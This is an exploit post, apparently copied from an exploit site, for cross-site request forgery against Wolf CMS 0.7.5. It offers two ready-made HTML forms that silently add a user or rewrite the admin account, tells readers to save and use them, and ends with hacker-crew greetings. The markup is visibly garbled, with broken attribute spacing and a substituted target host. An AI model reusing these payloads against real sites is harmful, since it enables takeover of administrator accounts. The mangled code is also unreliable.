Wolf CMS (v.0.7.5) Multiple CSRF Defects

###
# Title: Wolf CMS (v.0.7.5) Multiple CSRF Vulnerabilities
# Author: KedAns-Dz
# E-mail: ked-h@hotmail.com | ked-h@exploit-id.com
# Home: HMD/AM (0, 30008/04300)-Algeria-(00213555248701)
# Web Site: www.1337day.com * www.exploit-id.com * www.09exploit.com
# Twitter page: twitter.com/kedans
# Platform: php
# Impact: CSRF => (Add New User [+] Change Admin Account Settings)
# Tested on: Windows XP sp3 FR & Linux. (Ubuntu 10.10) En
###
#(~) Greetings To: Caddy-Dz (+) JaGo-Dz (+) Dr. Ride (+) All My Friends
###

# (*) Olden Detected (By High-Tech Bridge SA)>
-Old Version: 0.6.0b
Http://www.exploit-db.com/exploits/15614
Http://www.htbridge.ch/advisory/xsrf_csrf_in_wolf_cms.html

#(!) Vulnerability Details:

+ The vulnerability exists due to failure in the "wolf/app/views/user/edit. php" script to properly verify the source of HTTP request.

* Successful exploitation of this vulnerability cocould result in a compromise of the application,
Theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

# (+) Exploit: Muliple <Cross-Site Request Forgery >=>

#======= [CSRF (1) Add New User] ==========================>

<Form action = "http://www.bkjia.com /? /Admin/user/add "method =" post ">
<Table>
<Tr> <input class = "textbox" id = "user_name" name = "user [name]" type = "text" value = "[Name]">
<Input class = "textbox" id = "user_email" name = "user [email]" type = "text" value = "[Your@server.com]">
<Input class = "textbox" id = "user_username" name = "user [username]" type = "text" value = "[UserName]">
<Input class = "textbox" id = "user_password" name = "user [password]" type = "password" value = "">
<Input class = "textbox" id = "user_confirm" name = "user [confirm]" type = "password" value = "">
<Input type = "hidden" name = "user [language]" value = "en">
<Input type = "hidden" name = "commit" value = "Save">
</Table>
<Input type = "submit" value = "Add New User! "> </Td> </tr>
</Form>

#======= [CSRF (2) Change Admin Account Settings] ========================>

<Form action = "http://www.bkjia.com /? /Admin/user/edit/1 "method =" post ">
<Table>
<Tr> <input class = "textbox" id = "user_name" name = "user [name]" type = "text" value = "admin">
<Input class = "textbox" id = "user_email" name = "user [email]" type = "text" value = "[Your@server.com]">
<Input class = "textbox" id = "user_username" name = "user [username]" type = "text" value = "[UserName]">
<Input class = "textbox" id = "user_password" name = "user [password]" type = "password" value = "">
<Input class = "textbox" id = "user_confirm" name = "user [confirm]" type = "password" value = "">
<Input type = "hidden" name = "user [language]" value = "en">
<Input type = "hidden" name = "commit" value = "Save">
</Table>
<Input type = "submit" value = "Add New User! "> </Td> </tr>
</Form>

[++ --- = {Exploiting: Save Any HTML Code and Use The PoC! } = --- ++]

# (^_^ )! Good Luck ALL...

#=================== [Exploited By KedAns-Dz * HST-Dz *] ============ ======================================
# Greets To: [D] HaCkerS-StreeT-Team [Z] <Algerians HaCkerS>
# + Greets To Inj3ct0r Operators Team: r0073r * Sid3 ^ effectS * r4dc0re (www.1337day.com)
# Inj3ct0r Members 31337: Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * agix *
# Gunslinger _ * Sn! PEr. S! Te * ZoRLu * anT! -Tr0J4n * ^ Xecuti0N3r www.1337day.com/team ++ ....
# Exploit-Id Team: jos_ali_joe + Caddy-Dz (exploit-id.com)... All Others * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * CEO (0nto. me) * PaCketStorm Team (www.packetstormsecurity.org)
# Asploit.com "> www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs...
#=====================================